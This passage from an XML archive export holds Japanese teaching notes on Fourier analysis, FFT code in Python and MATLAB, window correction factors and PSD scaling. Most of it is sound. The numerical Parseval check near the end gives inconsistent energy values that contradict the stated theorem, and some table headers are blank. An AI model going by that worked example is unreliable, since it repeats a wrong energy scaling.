&lt;li&gt;任意の点数に対応するFFTアルゴリズムも存在（例：Bluestein FFT）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.5 ポイントまとめ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;離散フーリエ変換&lt;/strong&gt;は、時間領域信号$x(n)$を周波数成分$X(k)$に変換し、信号にどんな周波数が含まれるか解析できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;回転因子&lt;/strong&gt;$W_N$は、複素指数関数で表され、オイラーの公式により三角関数の形でも展開できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$k$の値ごとに$X(k)$が求まる&lt;/strong&gt;。$k=0,1,\ldots,N-1$で$N$個のスペクトルが得られる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FFT&lt;/strong&gt;により、DFTの計算を$O(N^2)$から$O(N \log N)$に高速化できる&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;4. 実用的なプログラミング例&lt;/h2&gt;
&lt;h3&gt;4.1 PythonでのFFT実装例&lt;/h3&gt;
&lt;h4&gt;NumPyを使用した基本的なFFT&lt;/h4&gt;
&lt;pre&gt;import numpy as np
import matplotlib.pyplot as plt

# パラメータ設定
fs = 2000  # サンプリング周波数 [Hz]
T = 1.0    # 信号の長さ [秒]
N = int(fs * T)  # サンプル数
t = np.linspace(0, T, N, endpoint=False)  # 時間軸

# 250Hzの正弦波を生成
f0 = 250  # 信号周波数 [Hz]
x = np.sin(2 * np.pi * f0 * t)

# FFTを実行
X = np.fft.fft(x)
freqs = np.fft.fftfreq(N, 1/fs)

# 振幅スペクトルを計算
amplitude_spectrum = np.abs(X)

# 結果の表示
plt.figure(figsize=(12, 4))
plt.subplot(1, 2, 1)
plt.plot(t, x)
plt.title('時間波形 (250Hz正弦波)')
plt.xlabel('時間 [秒]')
plt.ylabel('振幅')

plt.subplot(1, 2, 2)
plt.plot(freqs[:N//2], amplitude_spectrum[:N//2])
plt.title('周波数スペクトル')
plt.xlabel('周波数 [Hz]')
plt.ylabel('振幅')
plt.grid(True)
plt.show()&lt;/pre&gt;
&lt;h4&gt;エイリアシング現象の確認&lt;/h4&gt;
&lt;pre&gt;# 1750Hzの信号を2000Hzでサンプリング
f_alias = 1750  # エイリアス周波数 [Hz]
x_alias = np.sin(2 * np.pi * f_alias * t)

# FFTを実行
X_alias = np.fft.fft(x_alias)
amplitude_spectrum_alias = np.abs(X_alias)

# 結果の表示
plt.figure(figsize=(12, 4))
plt.subplot(1, 2, 1)
plt.plot(t, x_alias)
plt.title('時間波形 (1750Hz正弦波)')
plt.xlabel('時間 [秒]')
plt.ylabel('振幅')

plt.subplot(1, 2, 2)
plt.plot(freqs[:N//2], amplitude_spectrum_alias[:N//2])
plt.title('周波数スペクトル (エイリアシング確認)')
plt.xlabel('周波数 [Hz]')
plt.ylabel('振幅')
plt.grid(True)
plt.show()&lt;/pre&gt;
&lt;h3&gt;4.2 MATLABでの実装例&lt;/h3&gt;
&lt;pre&gt;% パラメータ設定
fs = 2000;  % サンプリング周波数 [Hz]
T = 1.0;    % 信号の長さ [秒]
N = fs * T;  % サンプル数
t = 0:1/fs:T-1/fs;  % 時間軸

% 250Hzの正弦波を生成
f0 = 250;  % 信号周波数 [Hz]
x = sin(2 * pi * f0 * t);

% FFTを実行
X = fft(x);
freqs = (0:N-1) * fs / N;

% 振幅スペクトルを計算
amplitude_spectrum = abs(X);

% 結果の表示
figure;
subplot(1, 2, 1);
plot(t, x);
title('時間波形 (250Hz正弦波)');
xlabel('時間 [秒]');
ylabel('振幅');

subplot(1, 2, 2);
plot(freqs(1:N/2), amplitude_spectrum(1:N/2));
title('周波数スペクトル');
xlabel('周波数 [Hz]');
ylabel('振幅');
grid on;&lt;/pre&gt;
&lt;h3&gt;4.3 実装時の注意点&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要なポイント：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;サンプリング定理の確認：&lt;/strong&gt; 信号の最高周波数がナイキスト周波数（$f_s/2$）以下であることを確認&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;窓関数の使用：&lt;/strong&gt; スペクトル漏れを防ぐため、必要に応じて窓関数を適用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ゼロパディング：&lt;/strong&gt; 周波数分解能を向上させるため、データの末尾にゼロを追加&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;正規化：&lt;/strong&gt; FFTの結果を適切に正規化して物理的な意味を持つようにする&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;まとめ&lt;/h2&gt;
&lt;p&gt;フーリエ変換は連続信号から離散信号へ、そして離散フーリエ変換へと発展し、デジタル信号処理の基礎となっています。各段階でサンプリング定理やエイリアシングなどの重要な概念が関わってきます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本資料で学んだ重要なポイント：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;連続時間フーリエ変換：&lt;/strong&gt; アナログ信号の周波数解析の基礎&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;離散時間フーリエ変換：&lt;/strong&gt; サンプリングによる離散化の影響&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;離散フーリエ変換（DFT）：&lt;/strong&gt; 有限長信号の周波数解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高速フーリエ変換（FFT）：&lt;/strong&gt; 実用的な高速計算アルゴリズム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サンプリング定理：&lt;/strong&gt; エイリアシングを防ぐための重要な制約&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装例：&lt;/strong&gt; PythonとMATLABでの具体的なプログラミング例&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これらの知識は、音声処理、画像処理、通信システムなど、様々なデジタル信号処理の分野で活用されます。&lt;/p&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1856">
                <text>デジタル信号処理６</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1857">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1858">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="111" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1855">
              <text>
&lt;h1&gt;フーリエ変換とスペクトル解析&lt;/h1&gt;
&lt;h2&gt;この資料について&lt;/h2&gt;
&lt;p&gt;この資料では、フーリエ変換とスペクトル解析の基礎から応用までを体系的に学習します。理論的な理解と実用的な応用の両方を重視し、段階的に学習できるよう構成されています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;学習目標&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;フーリエ変換の基本原理を理解する&lt;/li&gt;
&lt;li&gt;DTFTとDFTの関係を把握する&lt;/li&gt;
&lt;li&gt;音響信号解析への応用を学ぶ&lt;/li&gt;
&lt;li&gt;実装時の考慮事項を理解する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;想定学習時間&lt;/strong&gt;: 約8-10時間&lt;/p&gt;

&lt;h2&gt;学習手順&lt;/h2&gt;
&lt;h3&gt;アナログ（連続）信号処理&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;フーリエ級数&lt;/strong&gt; - 周期関数の基本&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;複素フーリエ級数&lt;/strong&gt; - オイラーの公式を活用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フーリエ変換&lt;/strong&gt; - 非周期関数への拡張&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;デジタル（離散）信号処理&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;離散時間フーリエ変換（DTFT）&lt;/strong&gt; - 離散時間信号の周波数解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;離散フーリエ変換（DFT）&lt;/strong&gt; - コンピュータ実装向け&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;フーリエ変換とは&lt;/h2&gt;
&lt;p&gt;フーリエ変換とは、複雑な波や音を「いくつかの単純な波（正弦波）」に分けて考える方法です。&lt;/p&gt;
&lt;h3&gt;身近な例で理解する&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;音楽の例&lt;/strong&gt;:&lt;br /&gt;好きな音楽の音も、実はいろんな高さの音が混ざっています。フーリエ変換を使うと、どんな音がどれくらい混ざっているのかわかりやすくできます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;光の例&lt;/strong&gt;:&lt;br /&gt;ちょうど、虹が白い光をいろんな色に分けるのと似ています。&lt;/p&gt;
&lt;h3&gt;基本的な概念&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 信号の周波数解析に用いられる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;効果&lt;/strong&gt;: 信号の波形の見方を変える&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重要性&lt;/strong&gt;: デジタル信号処理の基礎技術&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;スペクトラムアナライザー&lt;/h2&gt;
&lt;h3&gt;スペクトラムアナライザーとは&lt;/h3&gt;
&lt;p&gt;音や信号に含まれるさまざまな周波数（音の高さ）をグラフで表示して分析できる装置やソフトウェアです。実用のスペクトラムアナライザーは多くの場合 &lt;strong&gt;FFT&lt;/strong&gt; を用い、&lt;strong&gt;窓関数&lt;/strong&gt;、&lt;strong&gt;スケール補正（RMS/dBFS/dBV/dBm）&lt;/strong&gt;、&lt;strong&gt;平均化（線形平均/Welch）&lt;/strong&gt;などを行います。表示は &lt;strong&gt;PSD（dB/Hz）&lt;/strong&gt;または&lt;strong&gt;パワースペクトル（dB）&lt;/strong&gt;が一般的です。PSD表示は &lt;strong&gt;V²/Hz, dBV²/Hz, dBm/Hz&lt;/strong&gt; など単位を明示（帯域幅依存の誤読防止）。&lt;/p&gt;
&lt;h4&gt;実装時の重要な注意点&lt;/h4&gt;
&lt;div&gt;
&lt;h5&gt;振幅推定の正確な方法&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;片側スペクトルからの振幅推定&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;片側表示&lt;/strong&gt;：$A_{\text{est}} = \frac{|X_{w}^{(1\text{-side})}[k_0]|}{N \cdot \mathrm{CG}}$（内点×2が既に適用済み）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;二側表示&lt;/strong&gt;：$A_{\text{est}} = \frac{2|X_w^{(2\text{-side})}[k_0]|}{N \cdot \mathrm{CG}}$（DC/Nyquistは倍化なし）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：片側表示では内点を×2して表示するため、そのままCGで割れば振幅が得られます。&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;h5&gt;PSDスケーリングの正しい方法&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Welch/Periodogram標準形&lt;/strong&gt;：&lt;/p&gt;
&lt;div&gt;$$\boxed{S_{vv}[k] = \frac{|X_w[k]|^2}{f_s \cdot N \cdot U}, \quad U = \frac{1}{N}\sum w^2} \tag{1}$$&lt;/div&gt;
&lt;p&gt;これを&lt;strong&gt;ENBW &amp;amp; CG&lt;/strong&gt;で等価変形すると：&lt;/p&gt;
&lt;div&gt;$$\boxed{S_{vv}[k] = \frac{|X_w[k]|^2}{N^2 \cdot \mathrm{ENBW} \cdot \mathrm{CG}^2}} \tag{2}$$&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;重要&lt;/strong&gt;：CG²の補正を忘れずに適用してください。&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;h5&gt;Parsevalの定理とPSDの関係&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;理解のポイント&lt;/strong&gt;：窓掛け後のスペクトル $X_w$ を用いると、PSD帯域和は窓エネルギー $U$ を含みます。&lt;strong&gt;「元信号のエネルギー」&lt;/strong&gt;と&lt;strong&gt;「窓込みPSDの帯域和」&lt;/strong&gt;は一般に一致しません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実装時の注意&lt;/strong&gt;：測定対象（電圧/電力・帯域）を明記し、&lt;strong&gt;CG/ENBW/U&lt;/strong&gt;を適切に使い分けてください。&lt;/p&gt;
&lt;/div&gt;
&lt;h4&gt;窓補正と ENBW（有効雑音帯域幅）&lt;/h4&gt;
&lt;p&gt;窓を掛けたスペクトルを物理量に正しく換算するために、以下を明示する：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;コヒーレントゲイン（CG）&lt;/strong&gt;：\(\displaystyle \mathrm{CG} = \frac{1}{N}\sum_{n=0}^{N-1} w[n] \tag{3}\)。&lt;br /&gt;ピーク（正弦1本）の振幅は &lt;em&gt;振幅補正&lt;/em&gt;として \(1/\mathrm{CG}\) を掛けて復元する。&lt;br /&gt;&lt;strong&gt;片側スペクトル&lt;/strong&gt;からピーク振幅を読む場合：\(A_{\text{est}} = \frac{|X_w^{(1\text{-side})}[k_0]|}{N \cdot \mathrm{CG}} \tag{4}\)（片側表示では内点×2が既に適用されているため、どのビンでも同じ式）。&lt;br /&gt;&lt;strong&gt;二側スペクトル&lt;/strong&gt;の場合：\(A_{\text{est}} = \frac{2|X_w^{(2\text{-side})}[k_0]|}{N \cdot \mathrm{CG}} \tag{5}\)（実正弦で対称2本が立つときの各ビン基準）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ENBW（有効雑音帯域幅）&lt;/strong&gt;：\(\displaystyle \mathrm{ENBW} = f_s\, \frac{\sum w[n]^2}{\left(\sum w[n]\right)^2} \tag{6}\) [Hz]。&lt;br /&gt;&lt;strong&gt;電圧密度（ENBW法）&lt;/strong&gt;：\(\displaystyle S_{vv}[\mathrm{V}^2/\mathrm{Hz}] = \frac{|X[k]|^2}{N^2 \cdot \mathrm{ENBW}} \tag{7}\)&lt;br /&gt;&lt;strong&gt;電圧密度（U正規化法）&lt;/strong&gt;：\(\displaystyle S_{vv}[\mathrm{V}^2/\mathrm{Hz}] = \frac{|X_w[k]|^2}{f_s \cdot N \cdot U} \tag{8}\)、ここで \(U = \frac{1}{N}\sum w^2\)&lt;br /&gt;&lt;strong&gt;電力密度&lt;/strong&gt;：\(\displaystyle S_{pp}[\mathrm{W}/\mathrm{Hz}] = \frac{S_{vv}}{R} = \frac{|X[k]|^2}{N^2 \cdot R \cdot \mathrm{ENBW}} \tag{9}\)（R=50 Ω等を明記）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;dB表記の変換&lt;/strong&gt;：&lt;strong&gt;電力系（dBm/Hz）&lt;/strong&gt;：\(P[\mathrm{W/Hz}] = S_{pp}[\mathrm{W}/\mathrm{Hz}]\) → **10 log₁₀**。&lt;strong&gt;電圧系（dBV/√Hz）&lt;/strong&gt;：\(\sqrt{S_{vv}}[\mathrm{V}/\sqrt{\mathrm{Hz}}]\) → **20 log₁₀**（R=50 Ω等）。&lt;/li&gt;
&lt;li&gt;凡例に &lt;em&gt;窓名・CG・ENBW・平均化法・片側/二側・負荷R・参照（FS or 1 V）&lt;/em&gt;を併記（再現性確保）。&lt;sup&gt;1&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt;ENBW/CGの代表値は実装差あり（定義、係数、窓設計）。Hann 1.5Δf, Hamming 1.36Δf, Blackman 1.73Δf, Flat-top 3.77Δf等。&lt;/p&gt;
&lt;h4&gt;実務指針：凡例テンプレート&lt;/h4&gt;
&lt;div&gt;
&lt;p&gt;&lt;strong&gt;校正済みスペアナUI&lt;/strong&gt;：凡例に&lt;strong&gt;窓名・CG・ENBW・平均法・片側/二側・負荷R・参照（FS or 1 V）&lt;/strong&gt;を自動出力→実験ログの&lt;strong&gt;再現性/法規適合&lt;/strong&gt;を確保。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例&lt;/strong&gt;：「Hann窓, CG=0.5, ENBW=1.5Δf, Welch平均(M=16), 片側表示, R=50Ω, 参照=1V」&lt;/p&gt;
&lt;/div&gt;
&lt;h4&gt;窓関数の代表値表&lt;/h4&gt;
&lt;table border="1"&gt;
&lt;tbody&gt;
&lt;tr&gt;





&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;矩形窓&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;2.0&lt;/td&gt;
&lt;td&gt;≈0.89&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hann&lt;/td&gt;
&lt;td&gt;0.5&lt;/td&gt;
&lt;td&gt;1.5&lt;/td&gt;
&lt;td&gt;4.0&lt;/td&gt;
&lt;td&gt;≈1.44&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hamming&lt;/td&gt;
&lt;td&gt;0.54&lt;/td&gt;
&lt;td&gt;1.36&lt;/td&gt;
&lt;td&gt;4.0&lt;/td&gt;
&lt;td&gt;≈1.30&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Blackman&lt;/td&gt;
&lt;td&gt;0.42&lt;/td&gt;
&lt;td&gt;1.73&lt;/td&gt;
&lt;td&gt;6.0&lt;/td&gt;
&lt;td&gt;≈1.68&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flat-top&lt;/td&gt;
&lt;td&gt;0.22&lt;/td&gt;
&lt;td&gt;3.77&lt;/td&gt;
&lt;td&gt;10.0&lt;/td&gt;
&lt;td&gt;&amp;gt;2.0（設計依存）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;単位変換早見表（R=50Ω基準）&lt;/h4&gt;
&lt;table border="1"&gt;
&lt;tbody&gt;
&lt;tr&gt;



&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RMS → dBV&lt;/td&gt;
&lt;td&gt;20 log₁₀(V_rms)&lt;/td&gt;
&lt;td&gt;電圧基準（1V）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RMS → dBm&lt;/td&gt;
&lt;td&gt;20 log₁₀(V_rms) + 10 log₁₀(1000/R)&lt;/td&gt;
&lt;td&gt;電力基準（1mW）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dBV → RMS&lt;/td&gt;
&lt;td&gt;10^(dBV/20)&lt;/td&gt;
&lt;td&gt;電圧復元&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dBm → RMS&lt;/td&gt;
&lt;td&gt;√(R/1000) × 10^(dBm/20)&lt;/td&gt;
&lt;td&gt;電圧復元&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;片側 → 二側&lt;/td&gt;
&lt;td&gt;内点×2（DC/Nyquist非倍化）&lt;/td&gt;
&lt;td&gt;スペクトル表示&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;二側 → 片側&lt;/td&gt;
&lt;td&gt;内点÷2（DC/Nyquist非倍化）&lt;/td&gt;
&lt;td&gt;スペクトル表示&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;正規化規約の比較&lt;/h4&gt;
&lt;table border="1"&gt;
&lt;tbody&gt;
&lt;tr&gt;




&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DTFT&lt;/td&gt;
&lt;td&gt;無係数&lt;/td&gt;
&lt;td&gt;1/(2π)&lt;/td&gt;
&lt;td&gt;理論的&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DFT（標準）&lt;/td&gt;
&lt;td&gt;無係数&lt;/td&gt;
&lt;td&gt;1/N&lt;/td&gt;
&lt;td&gt;実装向け&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DFT（ユニタリ）&lt;/td&gt;
&lt;td&gt;1/√N&lt;/td&gt;
&lt;td&gt;1/√N&lt;/td&gt;
&lt;td&gt;対称的&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FFT&lt;/td&gt;
&lt;td&gt;DFTと同じ&lt;/td&gt;
&lt;td&gt;DFTと同じ&lt;/td&gt;
&lt;td&gt;高速化のみ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：この資料ではDFT（標準）規約を採用。ユニタリ規約ではParsevalの定理が \(\sum |x|^2 = \sum |X|^2\) となる。&lt;/p&gt;
&lt;h4&gt;ParsevalとPSDの帯域和の一致（検算）&lt;/h4&gt;
&lt;p&gt;有限長・採用正規化下での一貫性チェック：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;時間ドメイン&lt;/strong&gt;：$\sum_{n=0}^{N-1} |x[n]|^2$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;周波数ドメイン&lt;/strong&gt;：$\frac{1}{N} \sum_{k=0}^{N-1} |X[k]|^2$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;窓掛けPSD帯域和&lt;/strong&gt;：$\sum_{k=0}^{N-1} S_{vv}[k] \cdot \Delta f = \frac{f_s}{N} \sum_{k=0}^{N-1} \frac{|X_w[k]|^2}{N^2 \cdot \mathrm{ENBW} \cdot \mathrm{CG}^2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：Parsevalの定理により、時間ドメインと周波数ドメインでのエネルギーは等しいが、&lt;strong&gt;窓掛け後のPSD帯域和&lt;/strong&gt;は窓エネルギー $U$ を含むため、一般に一致しない。&lt;/p&gt;
&lt;h5&gt;数値例（正弦波+白色雑音）&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;例&lt;/strong&gt;：$x[n] = A\sin(2\pi f_0 n/N) + w[n]$（$A=1$, $f_0=100$Hz, $N=1024$, $f_s=1024$Hz, $w[n]$は白色雑音）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;時間ドメインエネルギー&lt;/strong&gt;：$\sum_{n=0}^{N-1} |x[n]|^2 \approx N/2 + \sigma_w^2 N$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;周波数ドメインエネルギー&lt;/strong&gt;：$\frac{1}{N} \sum_{k=0}^{N-1} |X[k]|^2 \approx \frac{1}{2} + \sigma_w^2$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検算&lt;/strong&gt;：$\sum |x|^2 \stackrel{?}{=} \frac{1}{N}\sum |X|^2$ → 両辺を$N$で割ると一致&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：この例では $f_0 = f_s/10$ として、適切なサンプリング条件を満たしています。&lt;/p&gt;
&lt;h3&gt;実用的な応用&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;音響解析&lt;/strong&gt;: 楽器の音色分析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通信技術&lt;/strong&gt;: 信号品質の評価&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;医療機器&lt;/strong&gt;: 生体信号の解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;産業応用&lt;/strong&gt;: 機械の振動解析&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;振幅スペクトル&lt;/h2&gt;
&lt;h3&gt;定義&lt;/h3&gt;
&lt;p&gt;信号の振幅スペクトルとは、フーリエ変換によって得られる各周波数成分ごとの「大きさ（振幅）」をグラフで表したものです。&lt;/p&gt;
&lt;h3&gt;特徴&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;どの周波数が強く（大きな振幅を持ち）現れているかが一目でわかる&lt;/li&gt;
&lt;li&gt;分析対象の信号がそれぞれの周波数成分ごとの「大きさ（振幅）」を表したグラフ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;グラフの見方&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;横軸&lt;/strong&gt;: 周波数（Hz）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;縦軸&lt;/strong&gt;: 振幅（フーリエ変換の大きさ $|X|$）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;応用例&lt;/h3&gt;
&lt;p&gt;音声信号の振幅スペクトルを見ると、低い音（低周波数）や高い音（高周波数）がどれくらい含まれているかを詳細に分析できます。&lt;/p&gt;

&lt;h2&gt;振幅スペクトルと時間波形の比較&lt;/h2&gt;
&lt;h3&gt;振幅スペクトル（周波数ドメイン）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;縦軸&lt;/strong&gt;: 振幅&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;横軸&lt;/strong&gt;: 周波数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;※注意&lt;/strong&gt;: ここでの「振幅」はフーリエ変換の大きさ $|X|$ を指す。エネルギー/パワーを見たい場合は $|X|^2$（ESD/PSD）を用いる&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;時間波形（時間ドメイン）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;縦軸&lt;/strong&gt;: 信号値 $x(t)$ または $x[n]$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;横軸&lt;/strong&gt;: 時刻&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;確認方法&lt;/strong&gt;: Python（NumPy/SciPy, matplotlib）や Audacity 等の汎用ツールで波形・スペクトルを再現可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;重要な違い&lt;/h3&gt;
&lt;p&gt;時間波形と振幅スペクトルでは、縦軸の意味が異なります：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;時間波形（時間ドメイン）の縦軸&lt;/strong&gt;: 信号値 $x(t)$ または $x[n]$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;振幅スペクトル（周波数ドメイン）の縦軸&lt;/strong&gt;: $|X(f)|$ または $|X[k]|$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エネルギー/パワーを見るとき&lt;/strong&gt;: $|X|^2$（パワースペクトル/PSD）を用いる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注&lt;/strong&gt;: 時間波形の縦軸：$x(t)$ または $x[n]$。振幅スペクトルの縦軸：$|X(f)|$ または $|X[k]|$。エネルギー/パワーを見るときは $|X|^2$（パワースペクトル/PSD）を用いる。参考（パーセバル）$\int|x(t)|^2 dt = \frac{1}{2\pi}\int|X(\omega)|^2 d\omega$、$\sum|x[n]|^2 = \frac{1}{N}\sum|X[k]|^2$。&lt;/p&gt;
&lt;h3&gt;振幅スペクトルとエネルギースペクトルの関係&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要な区別&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;振幅スペクトル&lt;/strong&gt;: $|X(\omega)|$ または $|X[k]|$（フーリエ変換の大きさ）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エネルギースペクトル&lt;/strong&gt;: $|X(\omega)|^2$ または $|X[k]|^2$（パワースペクトル）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;パーセバルの定理&lt;/strong&gt;により、時間ドメインと周波数ドメインでのエネルギーは等しい：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;連続時間&lt;/strong&gt;:&lt;/p&gt;
$$\displaystyle \int_{-\infty}^{\infty} |x(t)|^2 \, dt = \frac{1}{2\pi} \int_{-\infty}^{\infty} |X(\omega)|^2 \, d\omega \tag{10}$$
